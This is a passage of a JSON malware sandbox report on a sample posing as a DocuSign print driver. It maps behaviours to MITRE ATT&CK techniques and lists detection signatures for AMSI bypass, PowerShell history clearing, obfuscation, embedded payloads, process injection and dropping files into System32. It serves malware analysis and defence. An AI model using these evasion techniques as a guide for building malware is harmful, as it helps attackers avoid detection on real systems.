string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Able to delete items (Powershell command string)"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Rename Legitimate Utilities","attack_id":"T1036.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/003","identifiers":[{"type":"informative","value":"Contains ability to rename items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Clear Command History","attack_id":"T1070.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/003","identifiers":[{"type":"informative","value":"Contains ability to clear Powershell session command history (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"malicious","value":"Drops executable files to the Windows system directory"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Msiexec","attack_id":"T1218.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/007","identifiers":[{"type":"informative","value":"Detected msiexec.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Rundll32","attack_id":"T1218.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/011","identifiers":[{"type":"malicious","value":"Detected Rundll32 process execution"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to delete a property and its value from an item (Powershell command string)"},{"type":"informative","value":"Contains ability to terminate services/features (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]}],"sandbox_signatures":[{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"aes\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"rsa2\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"base64\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"FromBase64String\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"3des\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Strings related to file managers detected","description":"$36","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-136","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-FileHash\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-394","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"Oid\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Aes\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"RC2\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-138","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://account.docusign.com\"","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://account.docusign.com/\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"file/memory contains long string with (Indicator: \"smtp\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-499","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-106","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"Join-Path\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-187","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-250","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access file/directory","description":"file/memory contains long string with (Indicator: \"mkdir \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-779","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"file/memory contains long string(File: \"Microsoft.Deployment.WindowsInstaller.Package.dll\")\n file/memory contains long string(File: \"Microsoft.Deployment.Compression.Cab.dll\")\n file/memory contains long string(File: \"Microsoft.Deployment.Compression.dll\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to delete items (Powershell command string)","description":"Found string \"Remove-Item\" (Indicator: \"Remove-Item\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to write/modify file content (Powershell command string)","description":"Found string \"Set-Content\" (Indicator: \"Set-Content\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-331","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"Docusign Print Driver x64.exe\" called \"LoadResource with parameter {'hModule': '57671682', 'hResInfo': '58394128'}\" (UID: 00000000-00007000)\n \"Docusign Print Driver x64.exe\" called \"LoadResource with parameter {'hModule': '60358657', 'hResInfo': '60418632'}\" (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"Docusign Print Driver x64.exe\" called \"RemoveDirectoryW\" with parameter %ALLUSERSPROFILE%\\Package Cache\\.unverified\\ (UID: 00000000-00007000)\n \"Docusign Print Driver x64.exe\" called \"RemoveDirectoryW\" with parameter C:\\MSIa7965.tmp (UID: 00000000-00007000)\n \"Docusign Print Driver x64.exe\" called \"RemoveDirectoryW\" with parameter Z:\\MSIa7966.tmp (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to clear Powershell session command history (Powershell command string)","description":"Found string \"Clear-History\" (Indicator: \"Clear-History\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.003","relevance":1,"id":"string-243","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to clear content (Powershell command string)","description":"Found string \"Clear-Host\" (Indicator: \"Clear-Host\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Clear-Content\" (Indicator: \"Clear-Content\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Clear-ItemProperty\" (Indicator: \"Clear-ItemProperty\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Clear-Variable\" (Indicator: \"Clear-Variable\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-368","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"Found string \"Start-Sleep\" (Indicator: \"Start-Sleep\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00005036.00000000.215916.05470000.00000004.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00005036.00000000.215916.05470000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to rename items (Powershell command string)","description":"Found string \"Rename-ItemProperty\" (Indicator: \"Rename-ItemProperty\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.003","relevance":1,"id":"string-381","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Detected msiexec.exe process execution","description":"$39","origin":"Monitored Target","mitre_attack_id":"T1218.007","relevance":2,"id":"target-152","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\pipe\\SfxCA_3402343; Source: \"00000000-00005136.00000000.218070.7C300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"cmd.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"cmd.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$3b","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$3c","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"powershell.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00005036-43131-34-00568AF0\n SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00005036-43131-64-00568E40\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007008-46143-5-000AE574\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007008-46143-27-000B34A2\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007008-46143-1277-000AE0A8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007008-46143-2024-000AE707","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"$3d","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00006420.00000001.214348.0CDB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00002772.00000000.215210.E08D0000.00000004.mdmp\")\n Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00002772.00000000.215210.E08D0000.00000004.mdmp\")\n Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00005136.00000000.218070.7C300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$3e","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00005136.00000000.218070.7C300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006420.00000001.214348.0CDB0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006420.00000001.214348.0CE60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002772.00000000.215210.DE600000.00000004.mdmp\")\n Found string \":\\WINDOWS\\System32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005036.00000000.215916.02940000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005136.00000000.218070.7C300000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006420.00000000.214162.CF280000.00000004.mdmp, 00000000-00006420.00000001.214348.CF280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$3f","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$40","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$41","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate available system drives (PowerShell command string)","description":"Found string \"Get-PSDrive\" (Indicator: \"Get-PSDrive\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":1,"id":"string-997","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006420-00000C2C-1835686381\")\n Found reference to API \"NtQuerySystemInformationW\" 